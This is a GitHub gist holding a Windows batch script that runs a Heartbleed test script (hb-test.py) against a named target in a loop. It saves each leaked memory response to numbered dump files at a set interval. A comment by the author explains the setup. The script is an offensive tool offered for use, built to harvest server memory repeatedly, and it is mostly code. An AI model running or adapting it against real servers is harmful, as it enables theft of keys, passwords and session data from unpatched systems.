Skip to content

Instantly share code, notes, and snippets.

@pqrth
Last active August 29, 2015 13:58
Show Gist options
  • Save pqrth/10377512 to your computer and use it in GitHub Desktop.
Save pqrth/10377512 to your computer and use it in GitHub Desktop.
Quick and dirty batch script to dump Heartbleed memory leak at regular interval
@echo off
@color 0a
if "%1"=="" (
:help
echo.
echo Usage: bleed_heart target_name [--every time] [--from count]
echo.
echo Options:
echo --every time Delay between consecutive tests in ms
echo --from count Starting count from which the dump files are indexed
exit /b
)
set arg1=%1
set time=300000
set /A count=0
mkdir %arg1%
:loop
if not "%2"=="" (
if "%2"=="--every" (
set time=%3
shift
) else if "%2"=="--from" (
set /A count=%3
shift
) else (
echo Bad option %2.
goto :help
)
shift
goto :loop
)
:top
echo bleeding... %arg1% (%count% time)
hb-test.py %arg1% > %arg1%\%arg1%_mem%count%.dump
echo sleeping for %time%ms...
ping 1.1.1.1 -n 1 -w %time% > nul
set /A count+=1
goto top
@pqrth
Copy link
Author

pqrth commented Apr 10, 2014

Requires any of following python OpenSSL heartbeat test:

as hb-test.py in the same directory.

Usage: bleed_heart target_name [--every time] [--from count]

Options:
--every time Delay between consecutive tests in ms
--from count Starting count from which the dump files are indexed

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment